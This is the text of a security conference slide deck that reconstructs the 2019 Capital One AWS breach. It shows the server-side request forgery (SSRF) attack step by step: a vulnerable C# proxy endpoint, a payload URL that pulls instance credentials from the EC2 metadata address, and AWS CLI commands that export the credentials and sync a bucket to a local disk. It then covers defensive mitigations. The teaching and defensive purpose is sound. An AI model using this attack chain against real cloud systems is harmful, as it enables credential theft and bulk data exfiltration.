Cloud Security: Attacking The Metadata Service

© 2019 Puma Security, LLC | All Rights Reserved
PUMA SECURITY
Cloud Security
Attacking The Metadata Service

Principal Security Engineer,
Puma Security
Coder
Static analysis engine, cloud
automation, security tools
Security Assessments
DevSecOps, cloud, source
code, web apps, mobile apps
Principal Instructor
DevSecOps Curriculum Manager
SANS Principal
Instructor
Contributing author of
SEC540, DEV544, and
DEV531
Education and Training
Iowa State M.S.
Information Assurance,
B.S. Computer
Engineering
AWS Certified Developer
CISSP, GSSP, GWAPT
Contact Information
eric.johnson@pumascan.com
Twitter: @emjohn20
LinkedIn: linkedin.com/in/
eric-m-johnson
@
$WHOAMI

Cloud Security:
Attacking The
Metadata Service
Cap One Debrief
Walk Through
Post Mortem
AGENDA

DEBRIEF
What happened

SORRY, THE LAWYERS
MADE ME DO IT
0 03
LEGAL DISCLAIMER
● I do not work for Capital One
● I have never worked for Capital One
● Information found in this presentation is based on publicly available resources

BREAKING NEWS
On July 29, 2019, Capital One announced a
data breach affecting resources hosted in
AWS:
• 106 million credit card applicants
• 140,000 credit card holder social security
numbers
• 80,000 credit card linked bank account numbers
• https://www.capitalone.com/facts2019/

IT’S ALWAYS S3

ARREST AFFIDAVIT
Paige Thompson arrest affidavit
reveals the story -
March 22, 2019
• Recon: IAM role ****-WAF-Role runs
the list-buckets command
• Exfiltration: IAM role ****WAF-Role
runs the sync command

ARREST AFFIDAVIT CONTINUED
• Thompson hid her identity during the
attack using Tor and IPredator (VPN)
• A Slack conversation revealed that she
admitted to dumping data
• Data published to a public GitHub Gist
July 17, 2019 user reported Gist to
Capital One’s responsible disclosure inbox

THE ATTACK SUMMARY

How it happened
WALK THROUGH

#1 Server Side Request Forgery

WEB APPLICATION FIREWALL FAIL
• The affidavit made it very clear an instance running a
firewall was involved
• Remember me? IAM role ****-WAF-Role
• AWS WAF ruled out based on the fact it doesn’t run
under an IAM role
• August 2nd: Krebs report calls out Apache and
ModSecurity
• https://bit.ly/2T7cQNW

EXACT MISCONFIGURATION UNKNOWN
Speculation continues…maybe a combination of Apache,
ModSecurity and ModProxy?
https://twitter.com/ChrFolini/status/1157533808402620416

SSRF | THE REMOTE CODE EXECUTION OF THE CLOUD
Server-side Request Forgery vulnerabilities occur when an
application requests data from another URL that is supplied from
an untrusted location, including:
● Request parameters
● Web services
● Backend systems
1
2
3
4
5
6
7
public async IActionResult Get(string target)
{
var client = new HttpClient();
var request = client.GetAsync(target);
var json = await result.Content.ReadAsStringAsync();
return JsonConvert.DeserializeObject<GetResult>(json);
}

SSRF | EXPECTED USAGE
Normal forward (proxy) request to an internal system:
1
2
3
4
5
{
"id": "12682", "firstname": "eric", "company": "Puma Security"
"id": "54247", "firstname": "scott", "company": "Puma Security"
"id": "84824", "firstname": "matthew", "company": "Puma Security"
}
https://awesomeapp.com/forward?target=https://awesomeapp.com/api/users/
Normal response:

#2 Instance Profile Credentials

STANDARD USER WORKFLOW
COMMIT (CI)
Application User
Organization Infrastructure
EC2 Virtual Machine
S3
EC2
Metadata
AWS Services
IAM
1 2
4
3

EC2 INSTANCE PROFILE ROLES
Instance profiles allow EC2 instances to
attach to an IAM role on creation:
• Automatically provisions temporary access
keys on the instance for calling other AWS
services (S3, KMS, etc)
• Avoids hardcoding/storing access keys in
code running on the instance
• Temporary access keys are requested from
STS and automatically rotated

IAM PROFILE ROLE | WIDE OPEN S3 PERMISSIONS
CloudFormation code defining the WAF role S3 permissions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
AwesomeWafRole:
Type: AWS::IAM::Role
Properties:
RoleName: "Awesome-WAF-Role"
Policies:
- PolicyName: "Awesome-WAF-Policy"
PolicyDocument:
Version: 2012-10-17
Statement:
- Effect: "Allow"
Actions:
- "s3:List*"
- "s3:Get*"
Resource: "*"

PROGRAMITICALLY ACCESSING METADATA
Requesting EC2 metadata endpoint using curl:
curl http://169.254.169.254/latest/meta-data/
Response:
1
2
3
4
5
6
7
8
9
10
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id

SSRF PAYLOAD
Going from SSRF to RCE using the EC2 metadata endpoint:
https://awesomeapp.com/forward?target=http://169.254.169.254/latest
/meta-data/iam/security-credentials/Awesome-WAF-Role/
SSRF Response:
1
2
3
4
5
6
7
8
9
{
"Code" : "Success",
"LastUpdated" : "2019-07-31T23:08:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
"Expiration" : "2019-08-01T05:20:30Z"
}

COMMIT (CI)
EC2 Virtual Machine
S3
EC2
Metadata
AWS Services
IAM
1
Attacker
ATTACKER STEALING CREDENTIALS VIA SSRF
3
4
2

#3 Data Exfiltration

EXFILTRATE | SET ACCESS KEYS
1
2
3
$ export AWS_ACCESS_KEY_ID=ASIA54BL6PJR37YOEP67
$ export AWS_SECRET_ACCESS_KEY=OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2
$ export AWS_SESSION_TOKEN=AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv
On the attacker controlled machine, export AWS CLI
environment variables:
• Access key
• Secret key
• Session token

EXFILTRATE | LIST ACCESSIBLE BUCKETS
1
2
3
4
5
6
$ aws s3api list-buckets
{
"CreationDate": "2019-09-07T23:12:29.000Z",
"Name": "aws s3api list-objects --bucket credit-card-applicants"
},
AWS CLI command to list buckets:

EXFILTRATE | LIST ACCESSIBLE BUCKETS IN TARGET BUCKET
1
2
3
4
5
6
7
8
9
10
11
12
13
$ aws s3api list-objects --bucket credit-card-applicants
"Contents": [
{
"Key": "w2/",
"LastModified": "2019-09-07T03:00:34.000Z",
"ETag": ""d41d8cd98f00b204e9800998ecf8427e"",
"Size": 0,
"StorageClass": "STANDARD",
"Owner": {
"ID": "86aa0cef762dce02cb5019cf7"
}
},
…
AWS CLI command to list objects in a given bucket:

EXFILTRATE | DUMP DATA FROM TARGET BUCKET
$ aws s3 sync s3://credit-card-applicants ~/Downloads/dump
download: s3://credit-card-applicants/w2/1/2017-w2.pdf to w2/1/2017-w2.pdf
AWS CLI command to sync data from a bucket to a local disk:
1
2
3
4
5
6
7
8
9

What we’ve learned
POST MORTEM

AWS BREACH INQUIRY
Our friend, Senator Wyden continues to investigate and AWS responds:
https://bit.ly/2kueLiK

METADATA SERVICE ENHANCEMENT REQUEST #1
2014: Andres Riancho presents a talk: Pivoting in Amazon Clouds:
https://ubm.io/2lTAGAh

August 2018: Scott Piper, Summit Route Security Consultant,
requested metadata service security enhancements:

Nov 28, 2018: Netflix blog post regarding metadata
credential theft and hardening techniques:
https://bit.ly/2lYo3n
J

MITIGATING CONTROL #0 | AWS METADATA ENHANCEMENT
AWS should (and probably will given the high publicity surrounding this
breach) make the following enhancements to better protect the
metadata endpoint:
1. Follow the pattern used by Azure and Google Cloud Platform
2. Reject requests without a custom header
3. Automatically deny requests signed with the metadata credentials
originating from a different resource / source IP address
1
2
Metadata-Flavor: Google
Metadata: true

CUSTOMER MANAGED MITIGATING CONTROLS
Cloud security controls falling on the customer's side of
the responsibility model:
1. Fix the SSRF vulnerability
2. Least privilege IAM roles
3. Configure VPC Endpoints
4. VPC Endpoint IAM
5. Instance profile credential monitoring

MITIGATING CONTROL #1 | INPUT VALIDATION
1
2
3
4
5
6
7
8
9
10
11
12
13
public async IActionResult Get(Guid urlId) {
//Pull valid endpoints from the configuration file
List<Endpoint> endpoints = GetEndpoints();
//Verify the endpoint exists
Endpoint e = endpoints.FirstOrDefault(i => i.Id == urlId);
if (e == null) throw new ArgumentException("Invalid endpoint id.");
var client = new HttpClient();
var request = client.GetAsync(e.Url);
var json = await result.Content.ReadAsStringAsync();
return JsonConvert.DeserializeObject<GetResult>(json);
}
Validate incoming URL parameter for a valid domain:
Validate
the data!

MITIGATING CONTROL #2 | LEAST PRIVILEGE IAM POLICY
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Policies:
- PolicyName: "Awesome-WAF-Policy"
PolicyDocument:
Version: 2012-10-17
Statement:
- Effect: "Allow"
Action:
- "s3:ListBucket"
Resource:
- "arn:aws:s3:::waf-logging-bucket"
- Effect: "Allow"
Action:
- "s3:GetObject"
Resource:
- " arn:aws:s3:::waf-logging-bucket/*"
Locking down the WAF IAM instance profile policy:

MITIGATING CONTOROL #3 | VPC S3 ENDPOINT
VPC Endpoints
• Enables VPC resources to
call AWS APIs without
going over the Internet

MITIGATING CONTROL #4 | VPC ENDPOINT POLICY
1
2
3
4
5
6
7
8
9
10
11
Statement:
…
- Effect: "Deny"
Action: "*"
Principal: "*"
Resource:
- "arn:aws:s3:::credit-card-applicants"
Condition:
StringNotEquals:
aws:sourceVpc:
- "vpc-111bbb22"
Protecting the credit card applicant's bucket using a VPC endpoint
bucket policy:

MITIGATING CONTROL #5 | IAM CREDENTIAL MONITORING
CloudTrail logs provide data to correlate instance profile requests
with the IP address in the VPC:

MITIGATING CONTROL #5 | CANARY TOKENS
Monitor and alert on requests to
the EC2 metadata endpoint:
• https://help.canary.tools/help/the-
what-why-how-of-apeeper

COMMIT (CI)
EC2 Virtual Machine
S3
EC2
Metadata
AWS Services
IAM
Attacker
HARDENED WORKFLOW
Application User

Cloud Security:
Attacking The
Metadata Service
Contact:
eric.johnson@pumasecurity.io
SUMMARY
@emjohn20
• EC2 instance profiles
• AWS data exfiltration
• Protecting instance
metadata
• Restricting IAM policies
• Configuring VPC
endpoint policies
• Detecting credential
compromise

Cloud Security: Attacking The Metadata Service

Recomendados

Recomendados

Mais conteúdo relacionado

Mais procurados

Mais procurados (20)

Semelhante a Cloud Security: Attacking The Metadata Service

Semelhante a Cloud Security: Attacking The Metadata Service (20)

Mais de Puma Security, LLC

Mais de Puma Security, LLC (8)

Último

Último (20)

Cloud Security: Attacking The Metadata Service